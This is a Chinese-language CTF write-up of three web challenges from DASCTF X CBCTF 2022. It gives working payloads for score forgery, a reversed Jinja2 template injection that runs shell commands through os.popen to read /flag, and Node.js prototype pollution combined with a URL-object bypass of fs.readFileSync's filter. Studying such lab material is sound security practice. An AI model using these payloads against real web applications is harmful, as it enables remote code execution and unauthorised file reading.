DASCTF X CBCTF
2022九月挑战赛
记录写出的跟赛后复现的web题目(因为这场没时间写,主要是复现)
0X00 dino3d
游戏题,先正常玩一局,看请求.
看到有check.php的请求,进入栈跟踪,查看调用
image-20221115170939711
跟进,看到调用
sn (e, t ) { e && t && fetch ('/check.php' , { method : 'POST' , headers : { 'Content-type' : 'application/x-www-form-urlencoded; charset=UTF-8' }, body : 'score=' + parseInt (e).toString () + '&checkCode=' + md5 (parseInt (e).toString () + t) + '&tm=' + ( + new Date ).toString ().substring (0 , 10 ) }).then (e => e.text ()).then (e =>alert (e)) }
打断点获取t的值
image-20221115171309947
构造payload,复制到控制台运行
fetch ('/check.php' , { method : 'POST' , headers : { 'Content-type' : 'application/x-www-form-urlencoded; charset=UTF-8' }, body : 'score=' + parseInt (1000000 ).toString () + '&checkCode=' + md5 (parseInt (1000000 ).toString () + "DASxCBCTF_wElc03e" ) + '&tm=' + ( + new Date ).toString ().substring (0 , 10 ) }).then (e => e.text ()).then (e =>alert (e))
image-20221115171534917
DASCTF{dd7dc305-3475-4e6e-a18f-91332973a3f6}
0X01 Text Reverser(复现)
输入的值能逆序输出
{{__ssalc__.'' }} // '' __class__的逆序 {{}} >a/<a>a< // <a>a</a>
尝试以上payload都返回
应该是存在过滤了,看wp是没过滤{% %}
,尝试}% )"1"(tnirp %{
,返回Output: 1
,注入成功,那接下来的做法就一样了。先查找可用方法,写脚本注入,并输出返回结果。
import requestsfrom lxml import etreeurl = "http://93b4ef63-9b1d-4b76-ade5-c1321a663806.node4.buuoj.cn:81/" s = '{% print("".__class__.__base__.__subclasses__()) %}' [::-1 ] data = {'text' : s} resp = requests.post(url, data=data) html = etree.HTML(resp.text) result = html.xpath("//p/text()" )[-1 ].split(',' ) for i in result: if "os" in i: print (result.index(i), i)
能利用的有os._wrap_close
类,可用此类中的popen
import requestsfrom lxml import etreeurl = "http://93b4ef63-9b1d-4b76-ade5-c1321a663806.node4.buuoj.cn:81/" s = '{% print("".__class__.__base__.__subclasses__()[132].__init__.__globals__["popen"]("more /flag").read()) %}' [::-1 ] data = {'text' : s} resp = requests.post(url, data=data) html = etree.HTML(resp.text) print (html.xpath("//p/text()" )[-1 ])
0X02 cbshop
打开页面可以登录,买flag,再看源码,给出admin的密码,但是admin登录的密码验证不一样。
const adminUser = { username : "admin" , password : "😀admin😀" , money : 9999 }; username === adminUser.username && password === adminUser.password .substring (1 ,6 )
直接到控制台运行
image-20221116103228790
密码为\ude00admi
,但是拿去登录怎么都不对,看源码,存在对象的合并assign()
,太像原型链污染了。看wp,发现密码是uDE00admi
,而且没有\
?登录还是不行,钱数额不对,没登陆成功。
后面抓包才发现密码\ude00admi
被转义成了\\ude00admi
.(真的坑。。)
认真研究wp,该题目存在多个知识点,首先是需要原型链污染得到user.token
,再一个就是fs.readFileSync()
的一个绕过trick.
原型链污染:
买flag时,需要buyApi()
中的user.token
为真才能通过条件。
而传入buyApi(user, product)
中的user
为:
var user = { username : req.session .username , money : req.session .money };
不存在token,但是在验证token
之前还存在
let order = {}; if (!order[user.username ]) { order[user.username ] = {}; } Object .assign (order[user.username ], product);
将order[user.username]
设为了对象,assign()
可将两个对象合并,就是说如果user.username=__proto__, product={"token"=true}
,则经过assign()
后就会出现order['__proto__']={'token'=true}
的情况,就造成了原型链污染。但是需要注意,传入的"__proto__"必须是json格式的才能被解析成键名 (这里不需要担心),而控制username
有changeUsername()
的函数,刚好,该请求发送的就是json格式的数据。
image-20221116154903492
所以只要将名字改成__proto__
就能解析为键名进行污染,然后在购买的请求中加入"token"=true
就能实现污染。
成功,接下来就是fs.readFileSync()
的trick
fs.readFileSync()绕过
首先它过滤了flag
,直接urlencode的话则不会urldecode回原来的值,无法读到flag,但是readFileSync()
不止能接收单纯的路径字符串,还能接收file协议URL对象
所以可以传入一个符合URL对象的json格式的参数,readFileSync()
会自动new成对象,同时还能进行urldecode,详细的分析可见这里 。
所以构造payload
{ "name" : { "href" : "file:///fl%61g" , "origin" : "null" , "protocol" : "file:" , "username" : "" , "password" : "" , "host" : "" , "hostname" : "" , "port" : "" , "pathname" : "/fl%61g" , "search" : "" , "searchParams" : "URLSearchParams {}" , "hash" : "" } , "id" : 2 , "token" : true }
image-20221116175503561
(不得不吐槽json的格式要求很严格,调了好一会儿,所以写脚本解可能会更好!)
0X03
后面的0解与1解题目看了看感觉发现就是单纯的抄exp,就就暂时不复现了(太菜,学不会。。